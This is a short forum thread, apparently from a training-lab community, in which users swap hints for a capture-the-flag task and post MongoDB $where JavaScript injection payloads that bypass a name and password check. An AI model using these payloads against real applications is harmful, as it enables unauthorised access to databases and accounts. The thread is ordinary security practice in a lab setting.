Forum Discussion
immervivesolver
4 months agoBronze III
Trick or Treat: Manor of Madness
Any hints or close payloads for last task
- 4 months ago
This should nudge you in the right direction - MongoDB $where operator JavaScript injection - Web Application Vulnerabilities | Invicti
PRABAKARANRAMAMURTHY
Advocate
3 months agoHi Samh051,
This query worked for you in the last question?
immervivesolver
3 months agoBronze III
{“$where":"this.name == ‘admin’||’1’==‘1’&& this.incantation == ‘admin’||’1’==‘1’“}
PRABAKARANRAMAMURTHY
- PRABAKARANRAMAMURTHY3 months ago
Advocate
Thank you immervivesolver.
This worked:
{"$where":"this.name=='admin'||'1==1' && this.incantation =='admin'||'1==1'"}